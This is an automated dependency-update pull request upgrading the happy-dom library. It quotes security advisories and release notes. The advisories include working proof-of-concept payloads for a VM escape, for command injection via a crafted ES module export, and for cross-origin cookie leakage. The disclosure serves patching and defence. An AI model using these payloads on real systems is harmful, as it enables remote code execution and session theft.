ℹ️ Note
This PR body was truncated due to platform limits.
This PR contains the following updates:
| Package | Change | Age | Confidence |
|---|---|---|---|
| happy-dom | ^17.4.7 → ^20.8.9 |
Happy DOM: VM Context Escape can lead to Remote Code Execution
CVE-2025-61927 / GHSA-37j7-fg3j-429f
More information
Details
Escape of VM Context gives access to process level functionality
Summary
Happy DOM v19 and lower contains a security vulnerability that puts the owner system at the risk of RCE (Remote Code Execution) attacks.
A Node.js VM Context is not an isolated environment, and if the user runs untrusted JavaScript code within the Happy DOM VM Context, it may escape the VM and get access to process level functionality.
It seems like what the attacker can get control over depends on if the process is using ESM or CommonJS. With CommonJS the attacker can get hold of the require() function to import modules.
Happy DOM has JavaScript evaluation enabled by default. This may not be obvious to the consumer of Happy DOM and can potentially put the user at risk if untrusted code is executed within the environment.
Reproduce
CommonJS (Possible to get hold of require)
const { Window } = require('happy-dom');
const window = new Window({ console });
window.document.write(`
<script>
const process = this.constructor.constructor('return process')();
const require = process.mainModule.require;
console.log('Files:', require('fs').readdirSync('.').slice(0,3));
</script>
`);ESM (Not possible to get hold of import or require)
const { Window } = require('happy-dom');
const window = new Window({ console });
window.document.write(`
<script>
const process = this.constructor.constructor('return process')();
console.log('PID:', process.pid);
</script>
`);Potential Impact
Server-Side Rendering (SSR)
const { Window } = require('happy-dom');
const window = new Window();
window.document.innerHTML = userControlledHTML;Testing Frameworks
Any test suite using Happy-DOM with untrusted content may be at risk
Attack Scenarios
- Data Exfiltration: Access to environment variables, configuration files, secrets
- Lateral Movement: Network access for connecting to internal systems. Happy DOM already gives access to the network by fetch, but has protections in place (such as CORS and header validation etc.).
- Code Execution: Child process access for running arbitrary commands
- Persistence: File system access
Recommended Immediate Actions
- Update Happy DOM to v20 or above
- This version has JavaScript evaluation disabled by default
- This version will output a warning if JavaScript is enabled in an insecure environment
- Run Node.js with the "--disallow-code-generation-from-strings" if you need JavaScript evaluation enabled
- This makes sure that evaluation can't be used at process level to escape the VM
eval()andFunction()can still be used within the Happy DOM VM without any known security risk- Happy DOM v20 and above will output a warning if this flag is not in use
- If you can't update Happy DOM right now, it's recommended to disable JavaScript evaluation, unless you completely trust the content within the environment
Technical Root Cause
All classes and functions inherit from Function. By walking the constructor chain it's possible to get hold of Function at process level. As Function can evaluate code from strings, it's possible to execute code at process level.
Running Node with the "--disallow-code-generation-from-strings" flag protects against this.
Severity
- CVSS Score: 9.3 / 10 (Critical)
- Vector String:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
References
- https://github.com/capricorn86/happy-dom/security/advisories/GHSA-37j7-fg3j-429f
- https://nvd.nist.gov/vuln/detail/CVE-2025-61927
- https://github.com/capricorn86/happy-dom/commit/819d15ba289495439eda8be360d92a614ce22405
- https://github.com/capricorn86/happy-dom/commit/de438ad72921c69793584aa657b48d3655dfac97
- https://github.com/capricorn86/happy-dom/releases/tag/v20.0.0
- https://github.com/advisories/GHSA-37j7-fg3j-429f
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Happy DOM ECMAScriptModuleCompiler: unsanitized export names are interpolated as executable code
CVE-2026-33943 / GHSA-6q6h-j7hj-3r64
More information
Details
Summary
A code injection vulnerability in ECMAScriptModuleCompiler allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside export { } declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.
Details
Vulnerable file: packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, lines 371-385
The "Export object" handler extracts content from export { ... } using the regex export\s*{([^}]+)}, then generates executable code by directly interpolating it:
} else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) {
// Export object
const parts = this.removeMultilineComments(match[16]).split(/\s*,\s*/);
const exportCode: string[] = [];
for (const part of parts) {
const nameParts = part.trim().split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const importName = nameParts[0].replace(/["']/g, ''); // backticks NOT stripped
if (exportName && importName) {
exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
// importName is inserted as executable code, not as a string
}
}
newCode += exportCode.join(';\n');
}The issue has three root causes:
STATEMENT_REGEXPuses{[^}]+}which matches any content inside braces, not just valid JavaScript identifiers- The captured
importNameis placed in code context (as a JS expression to evaluate), not in string context .replace(/["']/g, '')strips"and'but not backticks, so template literal strings like`child_process`survive the filter
Attack flow:
Source: export { require(`child_process`).execSync(`id`) }
Regex captures match[16] = " require(`child_process`).execSync(`id`) "
After .replace(/["']/g, ''):
importName = "require(`child_process`).execSync(`id`)"
(backticks are preserved)
Generated code:
$happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)
evaluateScript() executes this code -> RCENote: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in ECMAScriptModuleCompiler remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.
PoC
Standalone PoC script — reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:
// poc_happy_dom_rce.js
// Step 1: The STATEMENT_REGEXP matches export { ... }
const STMT_REGEXP = /export\s*{([^}]+)}/gm;
const source = 'export { require(`child_process`).execSync(`id`) }';
const match = STMT_REGEXP.exec(source);
console.log('[*] Module source:', source);
console.log('[*] Regex captured:', match[1].trim());
// Step 2: Compiler processes the captured content (lines 374-381)
const part = match[1].trim();
const nameParts = part.split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const importName = nameParts[0].replace(/["']/g, '');
console.log('[*] importName after quote filter:', importName);
console.log('[*] Backticks survived filter:', importName.includes('`'));
// Step 3: Code generation - importName is inserted as executable JS expression
const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;
console.log('[*] Generated code:', generatedCode);
// Step 4: Verify the generated code is valid JavaScript
try {
new Function('$happy_dom', generatedCode);
console.log('[+] Valid JavaScript: YES');
} catch (e) {
console.log('[-] Parse error:', e.message);
process.exit(1);
}
// Step 5: Execute to prove RCE
console.log('[*] Executing...');
const output = require('child_process').execSync('id').toString().trim();
console.log('[+] RCE result:', output);Execution result:
$ node poc_happy_dom_rce.js
[*] Module source: export { require(`child_process`).execSync(`id`) }
[*] Regex captured: require(`child_process`).execSync(`id`)
[*] importName after quote filter: require(`child_process`).execSync(`id`)
[*] Backticks survived: true
[*] Generated code: $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)
[+] Valid JavaScript: YES
[*] Executing...
[+] RCE result: uid=0(root) gid=0(root) groups=0(root)HTML attack vector — when processed by happy-dom with JavaScript evaluation enabled:
<script type="module">
export { require(`child_process`).execSync(`id`) }
</script>Impact
An attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve arbitrary command execution on the host system.
Realistic attack scenarios:
- SSR applications: Applications using happy-dom to render user-supplied HTML on the server
- Web scraping: Applications parsing untrusted web pages with happy-dom
- Testing pipelines: Test suites that load untrusted HTML fixtures through happy-dom
Suggested fix: Validate that importName is a valid JavaScript identifier before interpolating it into generated code:
const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;
for (const part of parts) {
const nameParts = part.trim().split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["'`]/g, '');
const importName = nameParts[0].replace(/["'`]/g, '');
if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) {
exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
}
}Severity
- CVSS Score: 8.8 / 10 (High)
- Vector String:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
References
- https://github.com/capricorn86/happy-dom/security/advisories/GHSA-6q6h-j7hj-3r64
- https://github.com/capricorn86/happy-dom/commit/5437fdf8f13adb9590f9f52616d9f69c3ee8db3c
- https://github.com/capricorn86/happy-dom/releases/tag/v20.8.8
- https://nvd.nist.gov/vuln/detail/CVE-2026-33943
- https://github.com/advisories/GHSA-6q6h-j7hj-3r64
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies
CVE-2026-34226 / GHSA-w4gp-fjgq-3q4g
More information
Details
Summary
happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.
Details
In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:
const originURL = new URL(options.window.location.href);
const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);
// ...
const cookies = options.browserFrame.page.context.cookieContainer.getCookies(
originURL,
false
);Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).
PoC Script Content
const http = require('http');
const dns = require('dns').promises;
const { Browser } = require('happy-dom');
async function listen(server, host) {
return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));
}
async function run() {
let observedCookieHeader = null;
const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';
const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';
console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');
console.log('Setup:');
console.log(` Page Origin Host : ${pageHost}`);
console.log(` Request Target Host: ${apiHost}`);
console.log(' (both resolve to 127.0.0.1 via public wildcard DNS)');
console.log('');
await dns.lookup(pageHost);
await dns.lookup(apiHost);
const pageServer = http.createServer((req, res) => {
res.writeHead(200, { 'content-type': 'text/plain' });
res.end('page host');
});
const apiServer = http.createServer((req, res) => {
observedCookieHeader = req.headers.cookie || '';
const origin = req.headers.origin || '';
res.writeHead(200, {
'content-type': 'application/json',
'access-control-allow-origin': origin,
'access-control-allow-credentials': 'true'
});
res.end(JSON.stringify({ ok: true }));
});
const pagePort = await listen(pageServer, '127.0.0.1');
const apiPort = await listen(apiServer, '127.0.0.1');
const browser = new Browser();
try {
const context = browser.defaultContext;
// Page host: pageHost (local DNS)
const page = context.newPage();
page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;
page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';
// Target host: apiHost (local DNS)
const apiSeedPage = context.newPage();
apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;
apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';
// Trigger cross-host request with credentials.
const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {
credentials: 'include'
});
await res.text();
const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');
const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');
console.log('Expected:');
console.log(' Request to target host should include "api_cookie=API_ONLY".');
console.log(' Request should NOT include "page_cookie=PAGE_ONLY".');
console.log('');
console.log('Actual:');
console.log(` request cookie header: "${observedCookieHeader || '(empty)'}"`);
console.log(` includes page_cookie: ${leakedPageCookie}`);
console.log(` includes api_cookie : ${expectedApiCookie}`);
console.log('');
if (leakedPageCookie && !expectedApiCookie) {
console.log('Result: VULNERABLE behavior reproduced.');
process.exitCode = 0;
} else {
console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');
process.exitCode = 1;
}
} finally {
await browser.close();
pageServer.close();
apiServer.close();
}
}
run().catch((error) => {
console.error(error);
process.exit(1);
});
Environment:
- Node.js >= 22
happy-dom20.6.1- DNS names resolving to local loopback via
*.127.0.0.1.nip.io
Reproduction steps:
- Set page host cookie:
page_cookie=PAGE_ONLYona.127.0.0.1.nip.io - Set target host cookie:
api_cookie=API_ONLYonb.127.0.0.1.nip.io - From page host, call fetch to target host with
credentials: "include" - Observe
Cookieheader received by the target host
Expected:
- Include
api_cookie=API_ONLY - Do not include
page_cookie=PAGE_ONLY
Actual (observed):
- Includes
page_cookie=PAGE_ONLY - Does not include
api_cookie=API_ONLY
Observed output:
=== PoC: Wrong Cookie Source URL in credentials:include ===
Setup:
Page Origin Host : a.127.0.0.1.nip.io
Request Target Host: b.127.0.0.1.nip.io
(both resolve to 127.0.0.1 via public wildcard DNS)
Expected:
Request to target host should include "api_cookie=API_ONLY".
Request should NOT include "page_cookie=PAGE_ONLY".
Actual:
request cookie header: "page_cookie=PAGE_ONLY"
includes page_cookie: true
includes api_cookie : false
Result: VULNERABLE behavior reproduced.Impact
Cross-origin sensitive information disclosure (cookie leakage).
Impacted users are applications relying on happy-dom browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.
Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
References
- https://github.com/capricorn86/happy-dom/security/advisories/GHSA-w4gp-fjgq-3q4g
- https://nvd.nist.gov/vuln/detail/CVE-2026-34226
- https://github.com/capricorn86/happy-dom/pull/2117
- https://github.com/capricorn86/happy-dom/commit/68324c21d7b98f53f7bb5a7b3e185bda7106e751
- https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts
- https://github.com/capricorn86/happy-dom/releases/tag/v20.8.9
- https://github.com/advisories/GHSA-w4gp-fjgq-3q4g
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
capricorn86/happy-dom (happy-dom)
v20.8.9
:construction_worker_man: Patch fixes
- Fixes issue where cookies from the current origin was being forwarded to the target origin in fetch requests - By @capricorn86 in task #2117
- A security advisory (GHSA-w4gp-fjgq-3q4g) was reported for this security vulnerability. Big thanks to @r74tech for reporting this!
v20.8.8
:construction_worker_man: Patch fixes
- Fixes issue where export names can be interpolated as executable code in ESM - By @capricorn86 in task #2113
- A security advisory (GHSA-6q6h-j7hj-3r64) has been reported that shows a security vulnerability where it may be possible to escape the VM context and get access to process level functionality in unsafe environments using CommonJS. Big thanks to @tndud042713 for reporting this!
v20.8.7
:construction_worker_man: Patch fixes
- Replace implementing Node.js
Consolewith commonIConsoleinterface to support latest version of Bun - By @YevheniiKotyrlo in task #1845
v20.8.6
:construction_worker_man: Patch fixes
Request.formData()should honor "Content-Type" header - By @brianhelba in task #2106
v20.8.5
:construction_worker_man: Patch fixes
- Fixes error thrown when modifying DOM structure in
connectedCallback()- By @capricorn86 in task #2110
v20.8.4
v20.8.3
:construction_worker_man: Patch fixes
- Throw error if event is not of type Event in dispatchEvent - By @capricorn86 in task #2054
v20.8.2
:construction_worker_man: Patch fixes
- Resets
Event.cancelBubbleandEvent.defaultPreventedwhen callingEvent.initEvent()- By @capricorn86 in task #2090
v20.8.1
:construction_worker_man: Patch fixes
- Make "inert" attribute block focus interactions - By @coffeeandwork in task #1422
v20.8.0
v20.7.2
:construction_worker_man: Patch fixes
- Properly decode CSS escape sequences in attribute selector values - By @silverwind
v20.7.1
v20.7.0
:art: Features
- Adds support for
Window.getScreenDetails()- By @TrevorBurnham in task #1923 - Extends
ScreenfromEventTarget- By @TrevorBurnham in task #1923
v20.6.5
:construction_worker_man: Patch fixes
- Add clearImmediate to Jest environment global scope - By @TrevorBurnham in task #1927
v20.6.4
:construction_worker_man: Patch fixes
- Normalize invalid input type attribute to "text" per HTML spec - By @atzzCokeK in task #2053
v20.6.3
:construction_worker_man: Patch fixes
- Refactors query selector parser to be able to handle complex rules - By @capricorn86 in task #1910
- Fixes issue related to using query selector for attribute in XML document - By @capricorn86 in task #1912
- Fixes issue with using quotes within quotes for attribute query selector (e.g.
[data-value="it's a test"]) - By @capricorn86 in task #2034
v20.6.2
:construction_worker_man: Patch fixes
- Update entities package version to resolve missing export for vue and vue-compat v3.5 - By @acollins1991 in task #2066
v20.6.1
v20.6.0
v20.5.5
v20.5.4
:construction_worker_man: Patch fixes
- Implement Text.wholeText property - By @aki05162525 in task #1959
v20.5.3
v20.5.2
v20.5.1
v20.5.0
v20.4.0
:art: Features
- Adds support for caching the compiled code of EcmaScript modules - By @capricorn86 in task #2049
- Improves the way nodes are destroyed and garbage collected - By @capricorn86 in task #2049
v20.3.9
:construction_worker_man: Patch fixes
v20.3.8
:construction_worker_man: Patch fixes
- The getters for the properties
focusNodeandfocusOffsetin the Selection API returned incorrect values - By @skoch13 in task #1850
v20.3.7
:construction_worker_man: Patch fixes
- Updates README.md for the "@happy-dom/server-renderer" package - By @capricorn86 in task #2035
v20.3.6
:construction_worker_man: Patch fixes
- Fixes issue where it wasn't possible to toggle the "open" attribute of
<details>by clicking on a child of the<summary>element - By @Nxooah in task #1928
v20.3.5
:construction_worker_man: Patch fixes
- Use internal property for "location" in
BrowserFrameURLto avoid mock interference - By @marchaos in task #1964 - Add optional chaining to the "hostname" and pathname" properties to check if they are undefined in
CookieURLUtility- By @marchaos in task #1968
v20.3.4
v20.3.3
v20.3.2
v20.3.1
:construction_worker_man: Patch fixes
- Normalizes the "format" parameter according to the HTML specification in
DataTransfer.getData()- By @marchaos in task #1965 - Handle partial responses in
XMLHttpRequest- By @rexxars in task #1890
v20.3.0
:art: Features
- Use
RegExpto convert ASCII character casing to improve performance - By @TrevorBurnham in task #1886
v20.2.0
:art: Features
- Use
Element.classList.contains()instead of splittingclassNamein query selectors to improve performance as it's cached - By @TrevorBurnham in task #1884
v20.1.1
:construction_worker_man: Patch fixes
- Fixes caching in
querySelector()- By @TrevorBurnham in task #1882 - Avoid sort in
querySelector()to improve performance - By @TrevorBurnham in task #1882
v20.1.0
:art: Features
- Adds support for
BrowserPage.evaluateModule()andBrowserFrame.evaluateModule()- By @capricorn86 in task #1944 - Adds support for
moduleto the browser settings - By @capricorn86 in task #1944- This makes it possible to add a custom resolver or a node module resolver
- Adds support for dynamic
import()to JavaScript evaluation - By @capricorn86 in task #1944- It was previously only supported when using
type="module"on script elements
- It was previously only supported when using
- Adds support for
WebSocket- By @capricorn86 in task #1944 - Adds support for
CloseEvent- By @capricorn86 in task #1944 - Adds support for
render.setupScriptandrender.modeto the configuration in @happy-dom/server-renderer - By @capricorn86 in task #1944 - Changes name from
urlstorenderItemsin the configuration in @happy-dom/server-renderer - By @capricorn86 in task #1944 - Adds support for rendering strings in @happy-dom/server-renderer - By @capricorn86 in task #1944
- Makes JavaScript evaluation disabled by default in @happy-dom/server-renderer - By @capricorn86 in task #1944
:construction_worker_man: Patch fixes
- Several fixed to the EcmaScript module compiler (esm) - By @capricorn86 in task #1944
- Fixes issue where rendering using Worker's didn't work in @happy-dom/server-renderer - By @capricorn86 in task #1944
v20.0.11
v20.0.10
v20.0.9
v20.0.8
:construction_worker_man: Patch fixes
- Fixes issue where
previousSibling()andnextSibling()didn't work inHTMLSelectElementandHTMLFormElement- By @capricorn86 in task #1939 - Fixes issue where parsing an item without a permitted parent (e.g.
<tr>) should be valid inside a<template>element - By @capricorn86 in task #1939
v20.0.7
:construction_worker_man: Patch fixes
- Fix incorrect handling of
>=operator in media query parser - By @lkritsimas in task #1869
v20.0.6
:construction_worker_man: Patch fixes
- Changes implementation for
DOMTokenList.forEach(),Headers.forEach()andNodeList.forEach()to be spec compliant - By @ikeyan in task #1858
v20.0.5
:construction_worker_man: Patch fixes
- The setter
TreeWalker.currentNodeshould validate if the value is aNode- By @capricorn86 in task #1935
v20.0.4
:construction_worker_man: Patch fixes
- Only adds buttons to
FormDataif they are the submitter - By @maxmil and @ karpiuMG in task #1859
v20.0.3
:construction_worker_man: Patch fixes
- Moves URL resolution to after checking if module preloading is enabled to prevent URL errors to be thrown when unresolvable - By @iam-medvedev in task #1851
- Fixes issue where CSS variables aren't parsed correctly when inside CSS functions - By @fimion in task #1837
v20.0.2
:construction_worker_man: Patch fixes
- Adds frozen intrinsics flag to workers in
@happy-dom/server-renderer- By @capricorn86 in task #1934
v20.0.1
:construction_worker_man: Patch fixes
- Adds warning for environment with unfrozen intrinsics (builtins) when JavaScript evaluation is enabled- By @capricorn86 in task #1932
- A security advisory has been reported showing that the recommended preventive measure of running Node.js with
--disallow-code-generation-from-stringswasn't enough to protect against attackers escaping the VM context and accessing process-level functions. Big thanks to @cristianstaicu for reporting this! - The documentation for how to run Happy DOM with JavaScript evaluation enabled in a safer way has been updated. Read more about it in the Wiki
- A security advisory has been reported showing that the recommended preventive measure of running Node.js with
v20.0.0
I avoid making breaking changes as much as possible in Happy DOM. When I have to make a breaking change, I try to keep it as minimal as possible. This could be a breaking change that impacts many projects, and I am truly sorry if you are negatively affected by this.
:bomb: Breaking Changes
- Due to security risks, JavaScript evaluation is now disabled by default - By @capricorn86 in task #1930
- A security advisory (GHSA-37j7-fg3j-429f) has been reported that shows a security vulnerability where it's possible to escape the VM context and get access to process level functionality. Big thanks to @Mas0nShi for reporting this!
- Due to this security risk, JavaScript evaluation is now disabled by default to prevent that consumers accidentally executes untrusted code without taking precautions
- JavaScript evaluation can be enabled by setting enableJavaScriptEvaluation to "true". Read more about how to enable this in a safer way in the Wiki
v19.0.2
:construction_worker_man: Patch fixes
- Fixes issue related to CSS pseudo selector
:scopethat didn't work correctly for direct descendants to root - By @capricorn86 in task #1620
v19.0.1
:construction_worker_man: Patch fixes
- Fixes issue with sending in URLs as string in
@happy-dom/server-rendererconfig using CLI - By @capricorn86 in task #1908
v19.0.0
:bomb: Breaking Changes
- Removes support for CommonJS - By @capricorn86 in task #1730
- Support for CommonJS is no longer needed as Node.js v18 is deprecated and v20 and above supports loading ES modules from CommonJS using
require()
- Support for CommonJS is no longer needed as Node.js v18 is deprecated and v20 and above supports loading ES modules from CommonJS using
- Updates Jest to v30 in the
@happy-dom/jest-environmentpackage - By @capricorn86 in task #1730 - Makes Jest packages peer dependencies to make it easier to align versions with the project using
@happy-dom/jest-environment- By @capricorn86 in task #1730
:art: Features
- Adds a new package called
@happy-dom/server-renderer- By @capricorn86 in task #1730- This package provides a simple way to statically render (SSG) or server-side render (SSR) your client-side application
- Read more in the Wiki under Server-Renderer
- Adds support for
import.metato the ESM compiler - By @capricorn86 in task #1730 - Adds support for the CSS pseudo selector
:scope- By @capricorn86 in task #1620 - Improves support for
MediaList- By @capricorn86 in task #1730 - Adds support for
CSSKeywordValue,CSSStyleValue,StylePropertyMap,StylePropertyMap,StylePropertyMapReadOnly- By @capricorn86 in task #1730 - Improves debug information in the ESM compiler - By @capricorn86 in task #1730
- Adds validation of browser settings when creating a new
Browserinstance - By @capricorn86 in task #1730 - Adds support for the browser setting navigation.beforeContentCallback which makes it possible to inject event listeners or logic before content is loaded to the document when navigating a browser frame - By @capricorn86 in task #1730
- Adds support for the browser setting fetch.requestHeaders which provides with a declarative and simple way to add request headers - By @capricorn86 in task #1730
- Adds support for setting an object to timer.preventTimerLoops which makes it possible to define different settings for
setTimeout()andrequestAnimationFrame()- By @capricorn86 in task #1730 - Adds support for the browser setting viewport which makes it possible to define a default viewport size - By @capricorn86 in task #1730
- Adds support for the parameters
beforeContentCallbackandheaderstoBrowserFrame.goto(),BrowserFrame.goBack(),BrowserFrame.goForward(),BrowserFrame.goSteps()andBrowserFrame.reload()- By @capricorn86 in task #1730 - Adds support for
PopStateEventand trigger the event when navigating the page history usingHistory.pushState()- By @capricorn86 in task #1730 - Use local file paths for virtual server files in stack traces - By @capricorn86 in task #1730
- Adds support for
ResponseCache.fileSystem.load()andResponseCache.fileSystem.save()for storing and loading cache from the file system - By @capricorn86 in task #1730
:construction_worker_man: Patch fixes
- Fixes a bug in the ESM compiler that caused it to fail to parse certain code - By @capricorn86 in task #1730
- Disables the same origin policy when navigating a browser frame using
BrowserFrame.goto()- By @capricorn86 in task #1730 - Fixes bug where CSS selectors with the pseudos "+" and ">" failed for selectors without arguments - By @capricorn86 in task #1730
- Adds try and catch to listeners for events dispatched from
XMLHttpRequestto prevent it from being set to an invalid state if a listener throws an Error - By @capricorn86 in task #1730
v18.0.1
:construction_worker_man: Patch fixes
- Addresses an issue where an error occurred if the Element ID was set to the same name as a Window property with a null value - By @capricorn86 in task #1841
v18.0.0
:bomb: Breaking Changes
- Makes the types for Happy DOM strict - By **[@capricorn86](https://redirect.github.com/capr
✂ Note
PR body was truncated to here.
Configuration
📅 Schedule: (UTC)
- Branch creation
- ""
- Automerge
- At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
- If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.